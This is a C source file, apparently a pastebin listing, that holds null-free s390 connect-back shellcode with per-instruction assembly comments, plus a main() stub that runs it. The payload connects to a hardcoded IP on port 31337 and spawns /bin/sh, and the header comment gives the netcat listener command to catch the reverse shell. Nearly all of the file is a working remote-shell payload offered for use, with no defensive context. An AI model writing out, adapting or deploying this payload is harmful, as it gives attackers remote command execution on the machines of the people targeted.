390connectback.c 4.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475
  1. /*----------------------------------------------------------------------*/
  2. /* s390 shellcode 0x0a / 0x0 free */
  3. /* connectback shell, use netcat listener from caller : nc -l -p 31337 */
  4. /* ATTENTION ! altough the code is 0x0a and 0x0 free it may be the case */
  5. /* that u wanna connect an ip like : 10.65.120.22 ( in our example ! ) */
  6. /* our 192.168.0.1 ! in these cases u have 0xa and 0x0 in your address */
  7. /* and u should conside to add some selfmodifing code where u patch the */
  8. /* ip address values on the fly, like i did with the svc calls */
  9. /* code jcyberpunk@thehackerschoice.com */
  10. /*----------------------------------------------------------------------*/
  11. char shellcode[] =
  12. "\x0d\x10" /* basr %r1,%r0 */
  13. "\x41\x90\x10\xa8" /* la %r9,168(%r1) */
  14. "\xa7\x68\x04\x56" /* lhi %r6,1110 */
  15. "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */
  16. "\x1a\x6a" /* ar %r6,%r10 */
  17. "\x42\x60\x10\xa8" /* stc %r6,168(%r1) */
  18. "\xa7\x28\x04\x4e" /* lhi %r2,1102 */
  19. "\x1a\x2a" /* ar %r2,%r10 */
  20. "\x40\x20\xf0\x78" /* sth %r2,120(%r15) */
  21. "\xa7\x38\x7a\x69" /* lhi %r3,31337 */
  22. "\x40\x30\xf0\x7a" /* sth %r3,122(%r15) */
  23. "\x58\x40\x10\xac" /* l %r4,172(%r1) */
  24. "\x50\x40\xf0\x7c" /* st %r4,124(%r15) */
  25. "\x17\x44" /* xr %r4,%r4 */
  26. "\xa7\x38\x04\x4d" /* lhi %r3,1101 */
  27. "\x1a\x3a" /* ar %r3,%r10 */
  28. "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
  29. "\xa7\x28\x04\x4d" /* lhi %r2,1101 */
  30. "\x1a\x2a" /* ar %r2,%r10 */
  31. "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
  32. "\x0d\xe9" /* basr %r14,%r9 */
  33. "\x18\x72" /* lr %r7,%r2 */
  34. "\x41\x30\xf0\x78" /* la %r3,120(%r15) */
  35. "\xa7\x88\x04\x5c" /* lhi %r8,1116 */
  36. "\x1a\x8a" /* ar %r8,%r10 */
  37. "\x18\x48" /* lr %r4,%r8 */
  38. "\x90\x24\xf0\x80" /* stm %r2,%r4,128(%r15) */
  39. "\xa7\x28\x04\x4f" /* lhi %r2,1103 */
  40. "\x1a\x2a" /* ar %r2,%r10 */
  41. "\x41\x30\xf0\x80" /* la %r3,128(%r15) */
  42. "\x0d\xe9" /* basr %r14,%r9 */
  43. "\x18\x27" /* lr %r2,%r7 */
  44. "\xa7\x68\x04\x8b" /* lhi %r6,1163 */
  45. "\x1a\x6a" /* ar %r6,%r10 */
  46. "\x42\x60\x10\xa9" /* stc %r6,169(%r1) */
  47. "\xa7\x38\x04\x4e" /* lhi %r3,1102 */
  48. "\x1a\x3a" /* ar %r3,%r10 */
  49. "\x0d\xe9" /* basr %r14,%r9 */
  50. "\xa7\x3a\xff\xff" /* ahi %r3,-1 */
  51. "\x0d\xe9" /* basr %r14,%r9 */
  52. "\xa7\x3a\xff\xff" /* ahi %r3,-1 */
  53. "\x0d\xe9" /* basr %r14,%r9 */
  54. "\xa7\x68\x04\x57" /* lhi %r6,1111 */
  55. "\x1a\x6a" /* ar %r6,%r10 */
  56. "\x42\x60\x10\xa9" /* stc %r6,169(%r1) */
  57. "\x41\x20\x10\xb0" /* la %r2,176(%r1) */
  58. "\x50\x20\x10\xb8" /* st %r2,184(%r1) */
  59. "\x41\x30\x10\xb8" /* la %r3,184(%r1) */
  60. "\x17\x44" /* xr %r4,%r4 */
  61. "\x42\x40\x10\xb7" /* stc %r4,183(%r1) */
  62. "\x50\x40\x10\xbc" /* st %r4,188(%r1) */
  63. "\x41\x40\x10\xbc" /* la %r4,188(%r1) */
  64. "\x0d\xe9" /* basr %r14,%r9 */
  65. "\x0b\x66" /* svc 102 <--- after modification */
  66. "\x07\xfe" /* br %r14 */
  67. "\x0a\x41\x78\x16" /* ip-address to connect back */
  68. "\x2f\x62\x69\x6e" /* /bin */
  69. "\x2f\x73\x68\x5c"; /* /sh\\ */
  70. main()
  71. {
  72. void (*z)()=(void*)shellcode;
  73. z();
  74. }